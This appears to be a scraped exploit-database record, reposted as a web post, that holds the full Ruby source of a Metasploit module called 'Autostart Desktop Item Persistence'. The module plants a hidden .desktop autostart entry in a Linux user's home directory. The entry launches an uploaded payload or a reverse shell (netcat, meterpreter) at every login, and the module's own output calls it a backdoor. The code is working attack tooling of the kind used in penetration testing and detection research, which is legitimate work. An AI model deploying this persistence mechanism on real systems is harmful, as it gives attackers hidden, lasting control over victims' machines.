{“lastseen”:”2025-09-11T19:04:35″,”description”:”This module will create an autostart .desktop entry to execute a payload. The payload will be executed when the users logs in. …”,”published”:”2025-09-11T18:57:18″,”modified”:”2025-09-11T18:57:18″,”type”:”metasploit”,”title”:”Autostart Desktop Item Persistence”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-LINUX-PERSISTENCE-AUTOSTART-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = ExcellentRanking\\n\\n include Msf::Post::File\\n include Msf::Post::Unix\\n include Msf::Exploit::EXE # for generate_payload_exe\\n include Msf::Exploit::FileDropper\\n include Msf::Post::Linux::User\\n include Msf::Exploit::Local::Persistence\\n prepend Msf::Exploit::Remote::AutoCheck\\n include Msf::Exploit::Deprecated\\n moved_from ‘exploits\/linux\/local\/autostart_persistence’\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Autostart Desktop Item Persistence’,\\n ‘Description’ =\\u003e %q{\\n This module will create an autostart .desktop entry to execute a payload.\\n The payload will be executed when the users logs in.\\n Verified on Ubuntu 22.04 desktop with Gnome, and 18.04.3.\\n The following payloads were used in testing:\\n – cmd\/unix\/reverse_netcat\\n – linux\/x64\/meterpreter\/reverse_tcp\\n – cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [ ‘Eliott Teissonniere’ ],\\n ‘Platform’ =\\u003e [ ‘unix’, ‘linux’ ],\\n ‘Arch’ =\\u003e [\\n ARCH_CMD,\\n ARCH_X86,\\n ARCH_X64,\\n ARCH_ARMLE,\\n ARCH_AARCH64,\\n ARCH_PPC,\\n ARCH_MIPSLE,\\n ARCH_MIPSBE\\n ],\\n ‘Payload’ =\\u003e {\\n ‘BadChars’ =\\u003e ‘#%\\\\n\\”‘\\n },\\n ‘SessionTypes’ =\\u003e [ ‘shell’, ‘meterpreter’ ],\\n ‘DisclosureDate’ =\\u003e ‘2006-02-13’, # Date of the 0.5 doc for autostart\\n ‘Targets’ =\\u003e [[‘Automatic’, {}]],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘References’ =\\u003e [\\n [‘ATT\\u0026CK’, Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES],\\n [‘URL’, ‘https:\/\/specifications.freedesktop.org\/autostart-spec\/latest\/’],\\n ],\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION, EVENT_DEPENDENT],\\n ‘SideEffects’ =\\u003e [ARTIFACTS_ON_DISK, CONFIG_CHANGES]\\n }\\n )\\n )\\n\\n register_options([\\n OptString.new(‘BACKDOOR_NAME’, [false, ‘Name of autostart entry’ ]),\\n OptString.new(‘PAYLOAD_NAME’, [false, ‘Name of the payload file to write’]),\\n OptString.new(‘USER’, [ false, ‘User to target, or current user if blank’, ” ]),\\n ])\\n end\\n\\n def check\\n print_warning(‘Payloads in \/tmp will only last until reboot, you may want to choose elsewhere.’) if writable_dir.start_with?(‘\/tmp’)\\n # https:\/\/unix.stackexchange.com\/a\/237750\\n return CheckCode::Safe(‘Xorg is not installed, likely a server install. Autostart requires a graphical environment’) unless command_exists?(‘Xorg’)\\n\\n CheckCode::Detected(‘Xorg is installed, possible desktop install.’)\\n end\\n\\n def target_user\\n return datastore[‘USER’] unless datastore[‘USER’].blank?\\n\\n whoami\\n end\\n\\n def install_persistence\\n print_warning(‘Payloads in \/tmp will only last until reboot, you may want to choose elsewhere.’) if writable_dir.start_with?(‘\/tmp’) \\u0026\\u0026 payload.arch.first != ‘cmd’\\n user = target_user\\n home = get_home_dir(user)\\n vprint_status(‘Making sure the autostart directory exists’)\\n cmd_exec(\\”mkdir -p #{home}\/.config\/autostart\\”) # in case no autostart exists\\n\\n name = datastore[‘BACKDOOR_NAME’] || Rex::Text.rand_text_alpha(5..8)\\n path = \\”#{home}\/.config\/autostart\/#{name}.desktop\\”\\n\\n print_status(\\”Uploading autostart file #{path}\\”)\\n\\n autostart_stub = [\\n ‘[Desktop Entry]’,\\n ‘Type=Application’,\\n \\”Name=#{name}\\”,\\n ‘NoDisplay=true’,\\n ‘Terminal=false’\\n ]\\n\\n if payload.arch.first == ‘cmd’\\n write_file(path, (autostart_stub + [\\”Exec=\/bin\/sh -c \\\\\\”#{payload.encoded}\\\\\\”\\”]).join(\\”\\\\n\\”))\\n else\\n payload_path = writable_dir\\n payload_path = payload_path.end_with?(‘\/’) ? payload_path : \\”#{payload_path}\/\\”\\n payload_name = datastore[‘PAYLOAD_NAME’] || rand_text_alphanumeric(5..10)\\n payload_path \\u003c\\u003c payload_name\\n print_status(\\”Uploading payload file to #{payload_path}\\”)\\n upload_and_chmodx payload_path, generate_payload_exe\\n write_file(path, (autostart_stub + [\\”Exec=\\\\\\”#{payload_path}\\\\\\”\\”]).join(\\”\\\\n\\”))\\n @clean_up_rc \\u003c\\u003c \\”rm #{payload_path}\\\\n\\”\\n end\\n\\n if whoami != user\\n cmd_exec(\\”chown #{user}:#{user} #{path}\\”)\\n unless payload.arch.first == ‘cmd’\\n cmd_exec(\\”chown #{user}:#{user} #{payload_path}\\”)\\n end\\n end\\n\\n print_good(\\”Backdoor will run on next login by #{user}\\”)\\n\\n @clean_up_rc \\u003c\\u003c \\”rm #{path}\\\\n\\”\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/linux\/persistence\/autostart.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/persistence\/autostart\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-09-11T19:04:35″,”description”:”This module will create an autostart .desktop entry to execute a payload. The payload will be executed when the users logs in. …”,”published”:”2025-09-11T18:57:18″,”modified”:”2025-09-11T18:57:18″,”type”:”metasploit”,”title”:”Autostart Desktop Item…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-17173","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n